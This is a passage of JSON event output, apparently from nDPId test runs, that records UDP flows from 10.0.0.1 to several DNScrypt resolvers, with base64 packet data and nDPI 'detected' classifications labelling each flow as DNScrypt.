+00745{"flow_id":244,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739617,"pkt_ts_usec":27798,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"ZmZmZmZmRERERERECABFAAEMVhtAADcRMMuQW2rjCgAAAQG7xQsA+AQwcjZmbnZXajjGL+pVy0kwJq3b0ws3QQmU1oaTmLs\/KBJiu7G8scEX3PGgxPg+ruVnqVNFUraQxsErWYtLItB90wPdHcXiqlBhJWtFp4LLnWAvhKLKhjFEw\/atFhZeDiqXStF1L94cSN904FNHbkEph9CBTREE+edOKfiP4WqHgqjHUNPQp7n\/XDg\/V39BVU7YZKgJKtX72jHsW8p+y1tD4\/oB5Dnpf9M\/FhDm1mUKnuHl2H9\/fkExtOnA6OjnoUWzl+W3CX4dYlGVJl9MVrQvZzZFoWkXil+wG5XW3z1KVD3tlSpd4VUIxP+btk8gcC+s"} +00540{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":594,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":2,"flow_first_seen":946739617004,"flow_last_seen":946739617027,"flow_tot_l4_data_len":832,"flow_min_l4_data_len":248,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":416,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":50443,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":946739620053,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":37711,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01195{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739620,"pkt_ts_usec":53560,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc+yVAAKYRG3AKAAABkFtq45NPAbsCSL5UGz3LRoQYGq7K1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDJIKeRwV+B3o\/S1Vi20pwQIdLtPPzfiWHWJQqFzxTOLyCv2P6iXlQZj5XjV3kgHWrJU4+x22jVmI8HXUQsL4Ett9CycuHxHxWcs\/QYSIRhXy4zBDqi\/TRLgCDvexnLEbWrLVqZlx1oiHSo5WUfrBG87Hnp2cAe\/gsf5JPymP1MD3qdNPqZTHuk8S3o2b7BAHlFbKntVCDBSVQ2u7L9Ln\/6QrREPkeEFI1x9w5DZ5HrdTDgz+nlHzDSJBD364iAl3eoetv8rISqtBsiSLQHroHpiaUZtlR34l9Vzjmefx2nlmLBPG9TXLLZ\/mrHRFJkh\/uUcYYlECvdkuHlyfOYBwWiwoiqEQ+llPw\/pJiTU8CEAtaLv6CbONOtgp6JdiKE6d43D6uaZcFnqBbwg9eaCGVpcGiuUf8O0AgPu2sDwbVkeFGCSP+1RYWtMKN4UHnlXAzPp5xMNSLWhVnOiQOltHL0A4mIocw8NAKgYgB5WImGwHYZJTu3vKHL1ma4UUJgC2aPqavoEA8xSewTk8+kcdCu+H7U80l6uImg5OwmEHjnULbQ0NG6WqqnmnPPxiAFv0OcQF6VQejNwyFXYLHhqFbcBYdLiQUtlr\/CQbqH4bkFMHbjKfSQ5+8dmJhmOjdlgfwyZVo9qRa+DzThEZzNmUms2ITRpkxyxskJfLxizZZ7rIR6efqljBrZaiXsrJyXuIjgdlqkXHyYFN"} +00660{"flow_id":245,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739620,"pkt_ts_usec":112675,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"ZmZmZmZmRERERERECABFAADMWFtAADcRLsuQW2rjCgAAAQG7k08AuMXMcjZmbnZXajiSCnkcFfgd6P0tVYuPcDHPBNH+Q2V36ecIOy5+Vn6hASP7zwS+HB7\/COLeZpsYSR\/D4KtiLxFMLHMCSd4CEFa3HkazvGkn1cTMf7cEedRa5ffS2XboBOubQlEIegWZ\/uOw8cxjcAsifupeBdcSOB0uu0iqAXb97mPtwXo9C5m\/fEJEqoOJOH7mervMe4nPhBoqZk\/lTKOfh1zHYDnQCY0xNdH9fhG+JJ4="} +00540{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":596,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":2,"flow_first_seen":946739620053,"flow_last_seen":946739620112,"flow_tot_l4_data_len":768,"flow_min_l4_data_len":184,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":384,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":37711,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":597,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":946739660371,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":40958,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01200{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739660,"pkt_ts_usec":371388,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc6wNAAK8R\/JUKAAABwx5eHJ\/+IPsCSORQeRS+sjS2G7nK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDAyVmLtuOyOPrdbG9Aa84c6ABESOcWKO1lD0bmXASu6Lp1JrrhdSsrfi+qCLd+yV08wcBIOyOD3xWu+JqcvR+qyyD2wAqK+7GtNLfa5CYKvl4+qE+B8Fdcg3etmdvWho9v6RWRGqvWQ79X3lh7drodQ5tDBKL+haa6jK+KUocn+9wX11hwHxQkGR1McxgwheyWwiQ8yk86\/0X3FOuLzu\/q11WpJtGw+xpq\/OB+8OUVOD89R6Mnj\/UOcx7obvr0eYbF5A8onkaQEbT7AaiYRJQ+hA7ZZDi2ljxg+uDg1AUnD5AkpxvEvbz9buRkBehRmtAjmpjCb+1eSSGGy0pj3fWliJpufCy0cLqKeBAa8pN+PboX7ibcQKD2oLVDzOMCPNysRr7U4iSHLRzA3mGLlWv1wmtPqVLl\/EoRbf02Q+FQ\/4r6mOaMPxUziXWn4x9EAZfWAyRDD7Afeh1n3Kmrb8xH0TDb8AwH7WhW4050ZoDY8fwOoRj\/\/yicxCkUFPRn2\/1wmsWfaim9o7xstoH1TFkuOYolb5zL0b\/s+Q6LzmCI0CRhGzcGbTPbKaxkq5YwwG9Y4Y7yX3r23bemnved9GKHI+BB80yEb94yRK1wmhzXgZyDB626hQAGMFgeYF1jYBg8XUeiAWAkUeVdpaFQcCYu3RciaRBtQKGADb1WYqE\/SeWtKsrZLM+n2BJmC8O6wwHCEtXzUPi0rg"} +00940{"flow_id":246,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739660,"pkt_ts_usec":417793,"pkt_caplen":426,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":426,"pkt_l4_len":392,"pkt":"ZmZmZmZmRERERERECABFAAGcN+1AADgRJ23DHl4cCgAAASD7n\/4BiHhncjZmbnZXajgMlZi7bjsjj63WxvRslmVw4ADDYw9Zf7rvWXePF7DzWlPhjWqgv8O9se2dHg\/hMkwpzbF\/IwWGmMmxEowkpKXdmkUibqvznKVpkcwGgbuuCaS7Y6VBAIjGo9kWj7NiKTrA6Y4suMJM1qQ00IXt9U3jt4cutk2V8vfwhRYcaNOhsYhZrStljarNU+tA0k9iIXbco1x+a3RzKSkOB\/31hiwlYARdPxVfA4tlw7PDeRv6xT+b+Zv+a+jVuxZiNAikFvbCic9wNteLeIi7n5SfaDU1hH5H0TBuxqIVG9IHOsQSrBqKpNMeo1qfha7yS2X+OJjDupJOcyA3aK4UBMnSr\/hwPHcnofH4+5e3N9vB71o19Y0N1Cu3OIZZTlMMscwt3XDJIpsNrPW0k\/KXOVig1xeZdDezEjIt7JmJY9nlO847+Hb404Ny9pRCt57zdrjCVnAEbkkF4phZwF7K\/zzTOwqW\/8CPNUPEe\/A1vTBCVo6HwXAA4OkIci3U"} +00539{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":598,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":2,"flow_first_seen":946739660371,"flow_last_seen":946739660417,"flow_tot_l4_data_len":976,"flow_min_l4_data_len":392,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":488,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":40958,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":599,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":946739719617,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":59812,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01196{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739719,"pkt_ts_usec":617737,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc7JNAALYR9AUKAAABwx5eHOmkIPsCSORQeRS+sjS2G7nK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDBMo9soY0c0\/zLwoUlxND\/bzQvpDiK25XnQMxT75lxBrJflDrZ3TYKCZk3StXCyTPG2FEGcG4hxHWTOmqcbZoIHiQGoGkoQihxo2BUKPI0pv0p51t1V26edh28hXvxxPPw7SntT7cr75g96KEBOTmpz8vKr2JtKP2b7u7k2V1lEcb4dyw8IiZpBWjdyNCmd3NDqhxitoMAdVDWaaN+p4NUnsh5LOnpcy+BudMvUiIPxrci+i2KL44M4RFazBU2s57RNqiqEv2bkqUCThU0SgEc9wzNR0FW71ZK4hudAWH8M3\/hAXcN9AewD\/AaJXRVgDGL0qn\/KRenrwTdCnxi6HDTa7amK+XsctsA25HOCRbRxeQJwScz6KcVEdK2TbQ7TCqCmGiDFCvYDXyDQlbjKYXmp0\/BJYjaZCnwrJp12tBAZ0x6OjhYZwAWscu0uhjPmD9iVirzPedIzLRyxaMWlLGePyHaAj4Or7sxUvict7D7E89\/0BkN8XtgG7lgmFT7zBoSzurlQ88vZsCNnKrFOvXYxZt2fBsVODLujNj\/tDQxfHRhSVCSuXN1WgXvmx8\/4SpEwOdjJ8GjGun7mZ2UfbnIj9QtUtWtJKU6mASD9XU0UWic8hmr4RcPHxhUnHJGAJ046xlUlER7NkMJm1TYibdKqask11nfPMpD0VjWYxoY7AOCRP0FnM2aYF37QqRyAsLBiMZsWdVVPm"} +00989{"flow_id":247,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739719,"pkt_ts_usec":664203,"pkt_caplen":460,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":460,"pkt_l4_len":426,"pkt":"ZmZmZmZmRERERERECABFAAG+RWVAADgRGdPDHl4cCgAAASD76aQBqqggcjZmbnZXajgTKPbKGNHNP8y8KFKW+XSruqbViU5UWiUSva7p4q\/AYRczDRsV3nci5xVTY3W7NmNbgWd95Wn1LHJZkVPpqTVw1qBPY5mArBhf+gRPUeOFfECdd+ofJDaoGOvOFyamxhIyROMRMgW5dPvOthc+oP4fRsaTLVk1jsGJhVCC8lL5C7WuKe4QsVCug6vlUb5MDgOey6PWAfheq6uh\/Wb6o6xCo9SsCbwnrsE4\/c3AnoD6VGu4z3OHcZv3Of85CH1fdBZtiEXJ14iGDgR0ySBqfwkfNqV\/amN09mhv37d8Bukwbh0NRB9ju6Oyp6QVJsBxuvpcLx3ia\/I19JcfBxIdSgYP2PNeqmV9aFF\/5i5eq\/gB2ziWHE3n4eWmdHy\/5HtzZoouaDQrjeTLDoGeRsyQ8AbAcbxTJeYc\/hyvjG0S4Dh4GFFMLk5QGrpOAQxsjlasHPCZNUlI6FaWbg9J6wj4UctB1m9PxGlOpLCTcjHtKT14QtT3C0e8B5m0\/g4kyAvL0ntLRf8vwUxpdglUbwcHEqyLa0eWST5dVlmaKw=="} +00540{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":600,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":2,"flow_first_seen":946739719617,"flow_last_seen":946739719664,"flow_tot_l4_data_len":1010,"flow_min_l4_data_len":426,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":505,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":59812,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":601,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":946739720236,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45234,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01195{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739720,"pkt_ts_usec":236687,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJcgJBAALYRD\/QKAAABMw8+QbCyAbsCSDRmPBQECcRLqdjK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDOvN3LKmlsKPJgnxHDgQO2HIwu\/7HgUbhvSQLUmgTButtVYZ7ynSLJeOyVR7apKprNCXG1CB6RzKxjyoWSQdDjHQSudtBqe8pb0jpoyikDKAP5jZsuhlLmSafeiWgv4b7FcEcaSLItWNKLNEkAAXUwpoLIVbFjTOnXrLtfp8ddH5RkIQz3yuUJ9Nr9mnfMn04Kowojf10wKowiddPU5KKVho7F0cvcKjFtvuttnCHTnagcxAyTEmIcCymyhGi+h9M4qiKb4nZlaO8w0zOAMAC1r78IGbvmw2MC\/y\/XFDrOtYAyDWcOnUil1BFM0d\/Bz+j1o\/P8xdWxuA8zW6LX70nyKPAmn2+XMm6v93oH0oPPpEb87KAvDSvCagsZZA4fpWnggw8IDtM+xGjIpanNsL2VG3CCZ8SJchr0dd0ybGZUr6\/QWXs1PQNuAQq7PtTY0h5VDncSKKbfMtAy3KYwk5hwtNLo5PMwSgkhumRRE888qSzJlQJGBNzGsf1NwJANZTAqrVJeK8b7f+2pTSgrru+nRtvffr5TCeW5qGtpkkXT1G87oaz4FH2RV1Xm1JIdrzicLRjoj866viGnjQ5b2\/UKZWoCT22+fKnqSPDxIXp73HamN35GQ751GknwXsyMVZZbtLrbqcV6TqrFj8sSTjExCJ80Zk2kq4s9KvTe8IudfZv2VZnKat7igdMc61peD9CbEijjtfZYoC"} +00746{"flow_id":248,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739720,"pkt_ts_usec":266316,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"ZmZmZmZmRERERERECABFAAEM3XMAADURdWEzDz5BCgAAAQG7sLIA+HYgcjZmbnZXajjrzdyyppbCjyYJ8RwtW4RTIlvIG\/FZbH1Xp2LSeUte4yLE0KEYJIy\/W8+x\/FH3nQM381uStJPi54eYTbEiFOHb6+tNj6JfFejP8ANh9SW7+XztIQKHTMkKaKwDijmfQK3jWMvzYn5RQLy\/kgEd3jZcHSQ4+mGlJFAq0q9\/sxSmeRSE7Bf4lfghgGePrvRax2LVMOPyLQdEzOtXRcimFhC\/P2NV+z\/yC5UUyjWbNHflc5ZhEb6wjqEIWWaXMR9PmHFkJmX18vLk2mHCcaPJ0ISTpxtaV1D5IuKPIa2LIoH3gyFLk8kBlxy8"} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":602,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":2,"flow_first_seen":946739720236,"flow_last_seen":946739720266,"flow_tot_l4_data_len":832,"flow_min_l4_data_len":248,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":416,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45234,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":603,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":946739725845,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":36746,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01197{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739725,"pkt_ts_usec":845905,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJcg7xAALYRDMgKAAABMw8+QY+KAbsCSDRmPBQECcRLqdjK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDHgMkBVee38D+I7fnhBktgHf7os968\/qL0XkoqwhIpo2rKPzGWXe2G9NgFMScZ1tv4\/+yOWKKWYUUiUyLx+7PMrENy\/k+jN+yzdctk2Zo3FLcHvC79XH2TY1F0O7cJD1wjxZI3\/IHMcd6PNvU2hGrzF+GquS0c6mjapr0bbntYIeD4+Xf\/ITOco5AtKhdlLVR6qs44J9FD4+1MhlzKeOoRa6oiskDhR9SKCiLE0vY6WaFISx1KvaV1\/AWlTq+Ma\/RCIZcpIwRnCK5x9qtU8svtd3XmYK5sxwzMlT8VpdCDkudem2VmnpOeldtwd4GZeCkcdGXhDpTvkco7\/J7KzU8Em3dvt1ZFDy4TcFUOFTvtGhCNRYamvuZtqV1ariMFQakPC5kVsCG2gSYSztnSwq2hbNURFeBG0BsgQjYyNkq5wGuYsXMV6s23vt0COGB4x1t6Zn8jjY5lWn7t84BUSUEjxNSXlazc9hfUsGYBk1YNyvKVIOa4XVjl\/NR0vRtizEXbk8CW7UFlpZywbOaEBbweblLU4zywJ5qKZiL8sEsu9XT1G3qBmTW8cVYrUgsGb+gfIiskkKUwoOtt9RL+Teq82rqtdl6NJyjfa8lJ6hpSkFQGXkbcjp3VueVgKLzTUvGcLRMTp0C18n\/FNAt4vg0zRX0o3Lss4rXcLQ3ZMQHCelaCESW7C4sZpRGMwGTOa2B2AzD+kO+ZGd"} +00748{"flow_id":249,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739725,"pkt_ts_usec":874210,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"ZmZmZmZmRERERERECABFAAEM4eEAADURcPMzDz5BCgAAAQG7j4oA+L7VcjZmbnZXajh4DJAVXnt\/A\/iO355MVB4P\/\/Rk8\/R8bJwvIdLtYy13W15OTi+Go1C5ARLPQjyVOYrIdtt78KeJtxqvLGMYFgf90WzBjkKY8vjgNB0MPV1q9fSbDPwYJMt9sDZnnX7J06DitoJz19fiGevmNqdw2iS+W0+hbeSiK8kirJT\/QpPdxVHp2xD743rTjnXejSHner\/lxnNhKbPdOrwzbBbFmJ\/STzN7we3lc\/L7tRfFce0lf4Dadw+FNCaY6kAAQ713YJ6hg1mApwixRpXpT16U0DoxmV6YKXf9KevXwY7CFTGcq9MsTSP1FQYE"} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":604,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":2,"flow_first_seen":946739725845,"flow_last_seen":946739725874,"flow_tot_l4_data_len":832,"flow_min_l4_data_len":248,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":416,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":36746,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":605,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":946739727013,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33089,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01192{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739727,"pkt_ts_usec":13003,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJchI5AALYRC\/YKAAABMw8+QYFBAbsCSDRmPBQECcRLqdjK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDAvLo+OTm36q6otOO+fGemzVvq0dD3jxm9VGAJSNGJ7CPJoGqXj8m9e0jdRInMcNRA9p4+0Ni8e31vogtljvbwYYgmhAZTxwGYs6C50cDQFt1uHfEvD15mlAq995eAVsOx9PzSthVaX\/ivHpOY6L3Ij\/Ef7SZJJCujYYFW73myi8HjWORk7BxBZfRqH+6sXHsTHW9JgIyfg81CrvoYmjj6eguA0dO39fTJaKjXzcpWKnEcMMNV4ml8LGnAy0T9PzW3di7md5aeCc6dVE4FKwEMVWCPhdhJoRf2eXkrqBw09LkEK01y9a7hl1hmtvIUWP7Fpi4bKoZT2dc0fFL1f9KzoS20B8JdI1HDtUFbfn9WkC6dXWkvGuh\/9+Rlymk6CKSLR0QVl5o+\/deX43CF3YmoxgH2snZah0gHUFwhHSA2MzyATzLiO4hwopOla7EXLAzrjJnmBpaFbHi1L+QqXQh2bLrcU+P9O4f9I6E21iw7CMaLWnshFHMR4k17Kr3eYvvp5nk3smnj6RkzbyXiwre7VxnxR8luWJiFKQAtgTS7iTP90QNwfWgaQbUtbBzkaFhJU0sLHhiOY7bVruAAJT6m3XAbRU\/eHVLtQFKfLcw5DBcGucce2S1ZsrhqHFcOTeV5s1bkuGYusFVrqTNERXk+qQd0EJRZ80ghllq3WCfjIbNz4NU54JpS6KXFVABPgeMm+7RrRRXRHV"} +00662{"flow_id":250,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739727,"pkt_ts_usec":39034,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"ZmZmZmZmRERERERECABFAADM4h4AADURcPYzDz5BCgAAAQG7gUEAuGT7cjZmbnZXajgLy6Pjk5t+quqLTjthMYRcpmrtygKi+8ge\/d5a\/EggfKFstwqlUcEQ0npRyt3o\/+nrMu7IyAemLvDGwM3nY6O0vBX25jf4NlD5NhKqGUUpFydrLINODy\/Et1yVVHUUL4VBz3CwT8bs4b54QwYXASMjQfnf\/0NTpkvJ+0v2f5ntIAM7o81gzx\/1ovB+r6k93kwem7LHnom40gyZk3GGiIOpwn\/P\/XOKwtE="} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":606,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":2,"flow_first_seen":946739727013,"flow_last_seen":946739727039,"flow_tot_l4_data_len":768,"flow_min_l4_data_len":184,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":384,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":33089,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":607,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":946739861286,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":40675,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01198{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739861,"pkt_ts_usec":286767,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc8z5AAGQR70UKAAABMw8+QZ7jAbsCSDRmPBQECcRLqdjK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDEDim3A5yf0wjjkn7c0KZ99+wsaC8Q0jJNdVtRyvQ4vttz57bauXWf7aWWZI9GXe13Bq\/1R6iUwT\/A0\/zRCc0Ayq9cmcu623YyCddihLAAMnrLyfM6t6rL27MiG1nzMzmCPyF28NwS5XqwjPRfHv4CZ99g0HmhnodYUO8q68IgHhgstyCXs7D74EPnDSNCXWvxBvHIE3vRmyPvunw0teioCjIqxqULRcggjd13KNSzhv65LTFQDOYbWOCn+rymPlyEaTGV8M85qpLCbZBx+P2mZMjdPflMOxEUQrHk9kdqOlL2mWcrX2tI9xOtQuzvv+NeAjtLGeixP59GGL75pvlLSdqyad1gu\/frI3Onyk042MoSYGJ6RwV3eaPNbZQCtEwb9AOFIXBmvRH9XM7npQUXePLA